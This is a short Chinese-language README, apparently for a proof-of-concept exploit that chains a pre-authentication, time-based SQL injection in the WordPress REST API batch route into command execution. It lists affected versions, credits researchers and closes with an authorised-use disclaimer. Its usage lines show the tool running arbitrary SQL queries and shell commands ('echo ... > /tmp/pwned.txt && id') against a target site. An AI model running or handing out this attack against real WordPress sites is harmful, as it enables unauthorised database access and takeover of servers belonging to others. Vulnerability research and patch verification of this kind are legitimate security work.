首个针对 WordPress REST API 批量路由混淆链的基于时间的预认证 SQL 注入 PoC (CVE-2026-63030 + CVE-2026-60137)
实现了命令执行，而不仅仅是尝试破解管理员密码。
受影响版本： WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1。已在 6.9.5 和 7.0.2 中修复。
python3 poc.py https://target.example
python3 poc.py https://target.example 'SELECT DATABASE()'
python3 poc.py https://target.example -c "echo "you got pwned" > /tmp/pwned.txt && id"
研究： Searchlight Cyber · Aikido · Aikido Intel · WordPress
免责声明： 本概念验证（PoC）仅用于经授权的教育、安全研究和事件响应目的；也就是说，请仅在你拥有或已获得明确测试许可的系统上使用。